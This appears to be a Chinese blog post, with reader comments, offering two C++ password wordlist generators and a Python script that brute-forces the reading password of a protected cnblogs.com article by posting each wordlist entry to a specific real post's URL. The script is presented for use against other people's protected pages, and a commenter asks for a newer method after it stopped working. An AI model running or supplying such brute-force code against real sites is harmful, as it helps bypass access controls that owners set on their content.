简直闲得蛋疼
代码自己看我懒得解释
下面提供了俩辣鸡字典生成器,然而我更建议使用专业的字典生成器
C++的密码字典生成器 1(将给定子串组合起来):
#include <bits/stdc++.h>
using namespace std;
string str[20] =
{
"123",
"abc",
".",
};
int n = 3;
bool mark[20];
void Dfs(int a)
{
if (a == n)
{
string ps;
for (int i = 0; i < n; i += 1)
if (mark[i]) ps += str[i];
if (ps.length()) cout << ps << endl;
return;
}
mark[a] = 0, Dfs(a + 1), mark[a] = 1, Dfs(a + 1);
}
int main(int argc, char const* argv[])
{
Dfs(0);
return 0;
}
C++的密码字典生成器 2(超暴力枚举每一项):
#include <bits/stdc++.h>
using namespace std;
int n = 5;
char str[10];
void Dfs(int a)
{
if (a == n) {puts(str); return;}
for (int i = 0; i <= 9; i += 1)
str[a] = i + '0', Dfs(a + 1);
}
int main(int argc, char const* argv[])
{
Dfs(0);
return 0;
}
python3 的按照密码字典提交 post 请求检验密码(把代码里的/url/to/archive/page
替换成要你输入密码的那个页面的地址,还有 pswd.txt
是你的密码字典):
from time import sleep
import requests
from requests import post
f = open("pswd.txt")
ps = f.readline()
url='https://www.cnblogs.com/post/readauth?url=/cjyyb/p/9892336.html'
url = url.replace("/post/readauth?url=", "")
while ps:
ps = ps.replace("\n", "")
print(ps)
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url:
print("Got it: " + ps)
break
except:
sleep(1)
pass
ps = f.readline()
f.close()
效率极其低下,建议多线程
3 条评论
暖阳 · 2022年12月3日 5:30 下午
这个暴力破解的用不了啊,跑了第一行代码就结束了
XZYQvQ · 2022年12月3日 6:46 下午
文章写于 4 年前,现在用不了很可能是因为博客园有改变。
暖阳 · 2022年12月3日 6:51 下午
也是哈,有没有新的办法呢?最近遇到博客园阅读密码好烦。